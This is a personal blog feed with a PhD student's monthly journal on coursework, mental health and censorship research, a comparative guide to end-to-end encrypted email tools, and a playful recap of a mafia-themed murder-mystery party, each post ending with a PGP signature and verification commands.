October '25https://blog.alipour.eu/phd_journey/october_2025/Fri, 31 Oct 2025 08:40:43 +0000https://blog.alipour.eu/phd_journey/october_2025/<h1 id="1st">1st</h1> +<p>Ok, let&rsquo;s start the month by declareing some goals and agendas.</p> +<p>What do I want to do this month?</p> +<ul> +<li>Finish previous semester.</li> +<li>Pick the last of the course work for my prep phase.</li> +<li>Finalize the CoNEXT student workshop paper.</li> +<li>Finish my second RIL.</li> +<li>Start my 3rd and last RIL.</li> +<li>Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?</li> +<li>More literature review, persumabely all of FOCI related papers this month.</li> +<li>Work on my codebase: +<ol> +<li>Do code cleaning</li> +<li>Add comments for code</li> +<li>Start working on ICMP stuff</li> +</ol> +</li> +<li>More socializing! :-)</li> +<li>A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.</li> +<li>Enhance your routines and add exercise to it please!</li> +</ul> +<p>Alright. Now that the goals are set, let&rsquo;s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I&rsquo;m doing work!</p>1st +

Ok, let’s start the month by declareing some goals and agendas.

+

What do I want to do this month?

+
    +
  • Finish previous semester.
  • +
  • Pick the last of the course work for my prep phase.
  • +
  • Finalize the CoNEXT student workshop paper.
  • +
  • Finish my second RIL.
  • +
  • Start my 3rd and last RIL.
  • +
  • Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?
  • +
  • More literature review, persumabely all of FOCI related papers this month.
  • +
  • Work on my codebase: +
      +
    1. Do code cleaning
    2. +
    3. Add comments for code
    4. +
    5. Start working on ICMP stuff
    6. +
    +
  • +
  • More socializing! :-)
  • +
  • A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.
  • +
  • Enhance your routines and add exercise to it please!
  • +
+

Alright. Now that the goals are set, let’s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I’m doing work!

+

I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It’s not something I want to talk about in my blog, well at least for now, but I’ve tried to talk about it with my closest friends. +It’s so sad that things happened the way they did. +I never really fully recovered. +But… time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn’t listen. +My parents didn’t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven’t been able to figure out. +In the end, I just endured pain, a lot of pain. +I’m glad I didn’t break, but I do think most people would’ve. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress.

+

Did I mention I didn’t show up in office for 6 weeks? +And that when I came back I was hit again with things I didn’t understand? +Sometimes in life shit happens, but this was a whole new level. +I don’t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I’ve been trying to just lay low, stick to myself, and stay the hell out of trouble.

+

3rd

+

Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I’m feeling more content and secure. +I’m feeling true happiness. +I don’t know how much the SSRI is affecting me, but I know one thing for sure. +I’m just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I’m on top of the world. +Thinking about it a bit more, I do think I’m being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it’s just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah… But it’s going to be alright, I’m sure of it. +I have an exam I need to prepare for on 7th, but I’ve been procrastinating. I should plan my days and stick to it. Hell yes.

+

5th

+

My student workshop paper to CoNEXT ‘25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.

+

First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.

+

Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it’s evaluation. +This kinda defeated the purpose of what I was trying to do, to provide “tools”.

+

Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future.

+

7th

+

Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don’t know how I did, but I’m glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I’ve made, which is a really bad sign… +I hope I won’t have to take another extra course in the next semesters, that would just be annoying. +I really do hope so.

+

8th

+

I’m back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It’s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again.

+

9th

+

I will be doing literature review today. +Yesteday I didn’t manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group’s amazing people! +It’ll be fun! :)

+

Another fun thing is that I will get my very own physical GFW box today. +It’s probably the most majestic thing that could’ve happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess.

+

13th

+

Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I’ll be having one, at most two courses.

+

17th

+

Another unproductive week. +I think this was the worst one actually. +I can’t focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX’s 3-slide slide deck to enhance my focus, I’ll give it a try.

+

I also need to address the elephant in the room, and start working on the codebase.

+

I also need to look at the GFW files more, and try to find useful stuff there.

+

But first I need to work on HTDN’s papers, and craft the slides. That is the highest priority on my list. I’ll do it.

+
+

31st

+

It went by. +It went by quickly. +I wasn’t able to pick myself up this month, but I won’t let it happen in the following. +I want to be truthful, so I won’t hide anything. +the only thing is I should’ve let myself grief a bit, and I did. I’m proud of it. It’s fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise.

+

Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it’s not a bad thing. The problem is I don’t have much to present, and that’s why this is the content. Idk if I change the structure or not, but for now it is what it is.

+

Ok, let’s set some goals for next month in advance, then we can see how good we did.

+
    +
  • I want to work on ICMP stuff and make it work nicely.
  • +
  • I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this.
  • +
  • I need to keep up with my courses, including the German class.
  • +
  • I might work more on the GFW leaked data, but I think it’s not a priority for me for now. So… scrap this last one.
  • +
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM
+jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9
+2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx
+G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5
+2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu
+NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY
+n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ
+yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em
+4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0
+B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/
+YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN
+t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8=
+=NvQ7
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md
+curl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md.asc
+gpg --verify October_2025.md.asc October_2025.md
+  
+
+ + +]]>
Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

+
+

Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

+

Why people don’t use E2EE email (and why you still should)

+

Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

+

But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

+

I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

+

The contenders (and how they feel to use)

+

Proton Mail (consumer‑friendly, great cross‑provider story)

+

Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

+

Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
+How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
+Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
+Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

+

Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

+

Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

+

Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

+

Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
+How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
+Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
+Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

+

I was introduced to this one literally for writing this post, I had no idea it existed before.

+

Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

+

If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

+

Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
+How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
+Ups: Seamless for employees; centralized key control; good audit/compliance story.
+Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

+

I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

+

Outlook / Apple Mail with S/MIME (classic enterprise path)

+

S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

+

Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
+How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
+Ups: Great inside enterprises; MDM‑friendly; widely supported.
+Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

+

Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

+

Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

+

Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

+

Prices: Free.
+How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
+Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
+Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

+

This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

+

Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

+

If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

+

Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
+How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
+Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
+Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

+

Just no. Don’t trust add-ons. Please.

+

So… which should you use?

+

If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

+

Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

+

A note on what E2EE hides (and what it doesn’t)

+

End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

+

Quick price & fit-at-a-glance

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OptionBest fitPersonal price vibeNotes
Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
+

The 60‑second starter packs

+

Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

+

Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

+
+

Shower thoughts

+

So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

+

A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

+

The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

+

In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

+

Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
+jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
+z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
+teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
+nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
+qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
+S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
+bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
+mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
+BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
+iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
+ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
+=R0VX
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
+curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
+gpg --verify e2ee.md.asc e2ee.md
+  
+
+ + +]]>
La Plaza: The Falcones & the Morettishttps://blog.alipour.eu/posts/murder_mystery_night/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/posts/murder_mystery_night/Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.Last night I attended a ZiS event called “the Murder Mystery night”.

+

The story was about two families. The Falcones, and the Moretti family.

+
+

Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

+

Family Trees

+ + + + + + +
+%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
dead boss"] +Serena["Serena
widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
underboss"] + Massimo["Massimo
lawyer"] + Fabiola["Fabiola
financial
advisor"] + Aurora["Aurora
associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
fixer
(Sophia's son)"] + Michelangelo["Michelangelo
enforcer
(Massimo's son)"] + Antonio["Antonio
hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
+ + + + +
+%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
boss"] +Nicoletta["Nicoletta
bosswife"] +Claudia["Claudia
ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
underboss"] + Lucia["Lucia
associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
fixer"] + Santo["Santo
enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
finantial advisor"] +Benito ---|younger brother| Enrico +
+ + +
+

Who’s Who (quick dossiers)

+

Falcone notes

+
    +
  • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
  • +
  • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
  • +
  • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
  • +
  • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
  • +
  • Aurora — Youngest; underestimated as naive or harmless, but observant.
  • +
  • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
  • +
  • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
  • +
  • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
  • +
  • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
  • +
+

Moretti notes

+
    +
  • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
  • +
  • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
  • +
  • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
  • +
  • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
  • +
  • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
  • +
  • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
  • +
  • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
  • +
  • Santo — Lucia’s son; bold, admired and doubted in equal measure.
  • +
+

Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

+
+

World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

+
+

After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

+

I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

+

So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

+

Act I, the dinner

+

We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

+

The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

+

The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

+

She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

+

The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

+

Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

+

They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

+

While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

+

Act II, the invitations

+

Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

+

The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

+

The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

+

Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

+

Act III, the evidence

+

Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

+

There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

+

Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

+

Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

+

Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

+

The room went into silence again.

+

Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

+

In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

+

Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

+

Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

+

Aurora didn’t budge either.

+

Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

+

It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

+

Act IV, the confessions

+

The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

+

The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

+

Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

+

The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

+

Sergio did not smile, or any changes in his face. He was ice-cold.

+

It was still not clear who plotted to kill Salvatore. Everyone was confused.

+

It was time for deduction.

+

Act V, the killer(s)

+

After a long discussion between all the family members, these were the conclusions.

+

It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

+

Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

+

